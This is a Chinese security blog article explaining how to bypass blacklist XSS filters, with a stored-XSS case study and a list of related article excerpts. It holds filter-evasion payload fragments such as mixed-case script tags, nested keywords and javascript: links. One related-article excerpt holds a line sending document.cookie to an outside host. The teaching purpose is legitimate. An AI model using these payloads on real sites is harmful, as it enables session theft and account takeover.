強防禦下的XSS繞過思路(二) 黑名單篇

2020-10-04 威努特工控安全

前 言
很多白帽子在挖掘XSS漏洞的時候,往往會遇到一個問題,就是明明發現這裡的過濾有缺陷,但是就是沒法成功的進行構造利用。可能會由於自身對XSS繞過的局限性思維,往往只會反覆的去嘗試各種不同 payload代碼,寄希望於其中某一個可以繞過過濾。但是在遇到強有力的XSS防禦措施下,往往只能是竹籃打水一場空。

鑑於這種情況,這裡主要分3個章節來簡單的分享一些XSS繞過思路。

【第一節】 限制了字符(白名單的方式)

【第二節】 限制了字符(黑名單的方式)

【第三節】 限制了字符長度

前面講過了【第一節】 限制了字符(白名單的方式)

下面聊一聊【第二節】 限制了字符(黑名單的方式)


所謂的黑名單,就是不允許某些指定的字符輸入,其他非限制的內容都可以通過,相對白名單策略,雖然白名單更加安全些,但是往往白名單會誤殺正常業務,所以只能針對性的部署,而不能進行多個業務統一的部署。黑名單的策略,顯然這一方面更具有優勢,缺點就是防禦規則常常會被繞過。一般的XSS-WAF規則用的都是黑名單策略。

這裡直入正題,說說以下幾種情況。


一富文本環境

所謂的富文本環境,就是指可以直接寫入各種標籤符號的一個環境。比如郵件、空間、編輯器等,這些位置採用的基本都是黑名單策略。

這裡說說常見的幾種情況:

1 黑名單過濾危險標籤和事件。

比如直接過濾<script> 、 <iframe> 、 <object>等危險標籤,以及onload、onerror、onclick等危險事件,有的也會直接粗暴的過濾掉script之類的關鍵字。

這種情況我們可以嘗試以下幾種方法:

1.1 大小寫繞過

比如標籤寫成 <sCript> <SCRIPT>這樣,關鍵字script寫成sCRIPT之類。事件也和關鍵字的方法差不多,嘗試用Onload ONLOAD之類的大小寫去繞過,不過事件類的過濾,這種方法一般都沒啥用。一般情況過濾了onxxx的話99%都會注意大小寫問題。

1.2 開口標籤

寫成<script 或者 <script src=xxx? 這樣子,由於語義解析問題和瀏覽器html代碼補全機制,這種方法在以前是可以幹掉很多富文本的規則的,現在隨著安全的發展,相對也不是太好用了。

1.3 其他非黑名單標籤和事件

嘗試一些不在黑名單中的標籤,比如<a><img>之類,事件一般是先嘗試下onxxx這樣,如果發現沒有被過濾,那麼這種情況一般都是過濾了常見的onload、onerror、onclick之類的事件,我們可以找一些不常見的事件去嘗試繞過,比如ontouchstart就是觸摸觸發,這種在手機、平板設備上面的觸發率還是比較高的。<a>標籤可以嘗試<a href=javascript:alert(1)>xx</a>這樣去測試,如果對script關鍵字有過濾的話,再用大小寫混淆或者html編碼進行繞過嘗試。

1.4 靈活利用過濾規則。

比如發現某處會將<script>或者onload過濾為空,那麼就可以直接嘗試用 <scri<script>pt>、o<script>nload、oonloadnload的方式去繞過。以前這個方法用的還是比較多的,現在很多程序已經考慮到這點,基本都會進行循環過濾和語義分析,所以這個姿勢已經不太能過一些大廠的規則了。

輸出在js代碼中

1 過濾單引號、等號的時候

在js環境中,方法相對靈活很多,比如單引號過濾,很多時候可以用反單引號。

括號很多時候也可以用反單引號去替換。

如上,自己再控制臺試試就知道了。

其實單引號,等號這些有一個比較常用的處理方法,就是用String.fromCharCode

需要寫入一個外部js文件,也可以用這種方法。

但是要注意,這裡String.fromCharCode輸出的結果是字符串,需要執行的話,還需要給最外層加一個eval

這樣就會直接將字符串作為js代碼去執行了。

或者不用String.fromCharCode用atob函數也可以,或者用其他的這種可逆的編碼、加密函數都是可以的。

2 不僅過濾了單引號、等號,還過濾了圓括號、eval的情況

上面的方法在進行js環境中,的黑名單過濾繞過特別實用,但是有人就會問了,你這方法需要用eval和括號,如果把這些也都過濾掉了呢。其實括號的問題,前面已經提到過了,是可以用反單引號去替換的,eval的話,這種可以嘗試其他的函數去繞過,比如用Function或者constructor配合js模板字符串的寫法。

或者用constructor都是可以的

具體這個是什麼原理,這裡大概給解釋下。

具體細節這是js的模板字符串的特性,以前發過的XSS相關文章中也提到過很多次了,這裡就不再具體展開細講了,有興趣的可以自行百度去了解下。

可能看到上面的演示會有人說你這裡的payload裡面還是有等號啊,其實這種base64加密後面的等號是可以控制的,比如用alert(1)加密發現有等號,就寫成或者alert(1);var aaa=1;之類的改變字符其長度,直到沒有了等號就行了,這裡主要是提供一個思路和方法。

三漏洞案例

某網站儲存型XSS(過濾了尖括號/圓括號/單引號)

漏洞詳情:

經過測試後發現,該漏洞點過濾了常見的script關鍵字,還有尖括號 >< ,單引號 ' ,圓括號 ) ( 不過經過一番測試,繞過了這些過濾,成功彈窗。

payload:

代碼執行流程如下圖箭頭所示:

這裡做下簡單的說明,為什麼payload要這麼寫呢?

1 由於過濾了尖括號><,所以只能在input標籤內部構造,input標籤最好用的xss事件就是onfocus了;

2 由於過濾了圓括號(),所以用 location=url編碼 的這種模式可以將括號寫為%28 %29;

3 由於過濾了單引號',所以location='alert%271%28'這樣就不能用了,所以利用this.name進行傳值;

4 script關鍵字有過濾,所以用sCript大小寫混淆繞過;

基本就這樣了吧,綜上就可以得出上面的payload了~

總 結

不管是白名單還是黑名單,還是以後會講到的長度限制的XSS繞過,其實萬變不離其宗,都是利用代碼特性和代碼邏輯進行的一些構造而已。

文章其實主要是探討的繞過思路,作者認為對於XSS繞過這個問題上,思路還是比較重要的。相比很多人喜歡收集一堆payload,然後一個個的去反覆嘗試,其實了解了這些payload的構造思路的話,往往只需要測試一些特殊字符,就大概心裡有數了。

相關焦點

  • XSS繞過及防禦(Web漏洞及防禦)
    意識性不強觸發惡意代碼的手段多樣,無法做到完全防禦XSS漏洞注入點多樣XSS漏洞的危害攻擊者通過注入如alert(/xss/)之類的JS代碼來證明XSS漏洞的存在性,但沒有真實地反映其危害性!XSS蠕蟲會直接影響網站的所有用戶,一個地方出現XSS漏洞,網站下的所有用戶都有可能被攻擊。
  • 一些BAT的XSS實例(一)
    前 言上次發了篇《強防禦下的XSS繞過思路》的文章,有很多人私信問我,能不能來一些XSS繞過實例分析,這裡我選了些N年前的BAT的XSS實例來聊聊構造和繞過思路。當然這些實例,都是已經公開並且修補完畢的,我這裡是只是以此為原型,並做了一定的修改,進行了一些XSS題目的設計而已。
  • PHP安全篇之XSS攻擊
    函數將輸入中的<script>標籤替換為空,但是這種防禦機制很容易輕鬆繞過。漏洞利用:輸入<sc<script>ript>alert(/xss/)</script>,會成功彈框。輸入<ScRipt>alert(/xss/)</script>,也會成功彈框。
  • 跨站腳本(XSS)漏洞實戰演示——由易到難2
    前面幾篇文章我們講到了跨站腳本(XSS)漏洞的幾種類型和驗證方法以及防禦措施,有興趣的朋友可以到我的主頁翻看文章《十大常見web漏洞——跨站腳本漏洞》和《實操web漏洞驗證——跨站腳本漏洞》,今天我們繼續由易到難實戰演示一下跨站腳本漏洞的形成,以便更好地了解漏洞的產生原理,進一步做好防禦。上一篇文章我們已經闖過了5關,今天我們繼續。
  • XSS語義分析的階段性總結(二)
    前言上次分享了javascript語義分析,並且簡單介紹了新型xss掃描器的一些想法,如何在不進行大量fuzz的情況下又能準確的檢測出xss漏洞,這其中我們又可以儘量的避免觸發waf的xss防護功能!關聯文章:XSS語義分析的階段性總結(一)首先先接著上文介紹一下html語義分析的方法。
  • CTF自學筆記(三)跨站腳本攻擊「二」
    (2)編碼解碼字符串代碼混淆還可通過編碼解碼來實現。xss漏洞常用編碼格式如下:HTML進位編碼:十進位(&61;)CSS進位編碼:兼容HTML中的進位形式,十進位,十六進位JavaScript進位編碼:八進位,十六進位,Unicode編碼,ASCll.
  • 什麼是XSS?如何解決網站被XSS攻擊?
    攻擊成功後,攻擊者可能得到包括但不限於更高的權限(如執行一些操作)、私密網頁內容、會話和cookie等各種內容布爾雲安xss安全XSS分為三個類型:存儲型 、反射型 、DOM型XSS1、反射型XSS存儲型XSS和反射型XSS的差別僅在於,提交的代碼會存儲在伺服器端(資料庫,內存,文件系統等),下次請求目標頁面時不用再提交
  • SQL注入繞過與防禦(Web漏洞及防禦)
    大小寫繞過根據應用程式的過濾規則,通常會對惡意關鍵字設置黑名單,如果存在惡意關鍵字,應用程式就會退出運行。但在過濾規則中可能存在過濾不完整或只過濾小寫或大小的情況,沒有針對大小寫組合進行過濾,導致可以通過大小寫混寫來繞過關鍵字過濾!aNd 1=1 ......orDer ByseLeCt......
  • XSS:原理、攻擊、防禦
    例子:比如我再論壇發帖子,帖子包含惡意代碼location.href='http://www.xss.comcookie='+document.cookie』;或者<a href='http://www.xss.com?cookie='+document.cookie>。用戶的cookie我也拿到了,如果服務端session沒有設置過期的話,我以後甚至拿這個cookie而不需用戶名密碼,就可以以這個用戶的身份登錄成功了。
  • 「炒乾貨」XSS知識總結
    XSS+CSRF 組合拳組合拳思路存儲型 XSS + CSRF(存儲型 XSS 攻擊代碼中加入 CSRF 代碼連結)其它xss的利用方式多種多樣,遠不止以上的幾種,比方說還能夠利用XSS+CSRF組合拳來添加管理員、利用html5的canvas來截取客戶的屏幕,還有針對移動端的xss攻擊等。思路有很多,此處便不展開討論了。
  • 用最簡單的話,一分鐘講明白xss和csrf攻擊,以及如何防禦
    現在網站經常會遭受到一些攻擊,使得用戶信息洩露或者用戶個人財產受到損傷,本文用最簡單的語言,講述一下xss和csrf攻擊,以及他們的防禦手段。其實很簡單,只要把JavaScript的(< script>< /script>)這個腳本標籤進行處理就行了,通常是做一層轉義,把<和>轉變成』<
  • XSS(跨站腳本攻擊)內容總結整理
    前端處理,有一些前端框架已經默認做xss相應的處理。後端和前端一起協作,終可防禦xss攻擊。截圖內容來源:前端安全系列(一)XSS 問答來源:https://gitbook.cn/books/5a26a88d5d69d22a8f0adc5f/index.html問:xss攻擊在GET和POST請求中有什麼實際不同?
  • 跨站腳本(XSS)漏洞實戰演示——由易到難1
    前面幾篇文章我們講到了跨站腳本(XSS)漏洞的幾種類型和驗證方法以及防禦措施,有興趣的朋友可以到我的主頁翻看文章《十大常見web漏洞——跨站腳本漏洞》和《實操web漏洞驗證——跨站腳本漏洞》,今天我們由易到難實戰演示一下跨站腳本漏洞的形成,以便更好地了解漏洞的產生原理,進一步做好防禦。
  • Web滲透測試(XSS)
    也就是說,JS 強⼤的靈活性和功能,為XSS攻擊提供了⾮常⼴闊的攻擊⾯。XSS 通過將精⼼構造的代碼(JS)注⼊到⽹⻚中,並由瀏覽器解釋運⾏這段JS 代碼,以達到惡意攻擊的效果。當⽤戶訪問被XSS 腳本注⼊過的⽹⻚,XSS 腳本就會被提取出來,⽤戶瀏覽器就會解析執⾏這段代碼,也就是說⽤戶被攻擊了!
  • 繞過谷歌XSS修復措施收穫翻倍賞金($10000)
    )的郵件告知後,我們多少會覺得:好吧,修復就好,聽你們的。去年底,我奔波各地忙於找工作,閒暇在酒店的某晚,突然電子郵箱中收到了谷歌發來的一封主題為「fixed」的郵件,內容是告知我之前上報的谷歌地圖(Google Maps)XSS漏洞已被修復的消息。
  • 黑客大神熬夜整理的xss各種騷操作
    3.HTML解析器在建立文檔樹的時候會針對節點內的Entity編碼(即實體編碼)解碼後傳輸。2) 當 <> 這些符號被編碼的時候,因為在JS中常見的傳輸中文或者非ASCII碼字符就會使用unicode編碼,同樣這種編碼可以用來繞過一些WAF。如 &39;:編碼為 &39;(unicode編碼),&39;->\x61。此時需要考慮網站傳輸數據的方式!
  • CSRF滲透測試 防禦與安全檢測手法剖析
    上一節講到了滲透測試中xss跨站攻擊檢測方法和防護,這一節也是關於跨站攻擊的另一個手法CSRF,很多客戶找到我們Sinesafe想要了解更多的跨站攻擊檢測方法以及防禦此類攻擊的辦法,想要讓網站的安全性更加堅固,對此提醒大家滲透測試網站必須要拿到授權才能測試哦!3.3.1.
  • Web攻擊原理(腳本攻擊)
    攻擊分類腳本攻擊(SQL注入、XSS)授權和認證(COOK劫持和洩露、CSRF跨站腳本請求偽造)網頁篡改流量攻擊(CC攻擊、惡意爬蟲和掃描)後門類(掛馬、Webshell)盜鏈等where usrname = 『para1』 and pwd=『para2』提交參數 aa』 or 1=1--效果: select * from usrtable where usrname = 『aa』 or 1=1--and pwd=『para2』在SQL Server中,--是SQL語句的行注釋符SQL注入檢測與防禦
  • Spring Boot XSS 攻擊過濾插件使用
    XSS 是什麼XSS(Cross Site Scripting)攻擊全稱跨站腳本攻擊,為了不與 CSS(Cascading Style Sheets)名詞混淆,故將跨站腳本攻擊簡稱為 XSS,XSS 是一種常見 web 安全漏洞,它允許惡意代碼植入到提供給其它用戶使用的頁面中。
  • 繞過waf的另類木馬文件攻擊方法
    本文首發於「合天智匯」公眾號 作者:s1mple 很久沒寫文章了,繼上次發先知到今天已經很久了;今天突發異想;因為之前打了西湖論劍,遇到了寶塔的waf,最後也是過去了,便覺得另類的攻擊方法值得寫篇文章分享下;​ 首先我打算分享幾種;一:動態調用​ 首先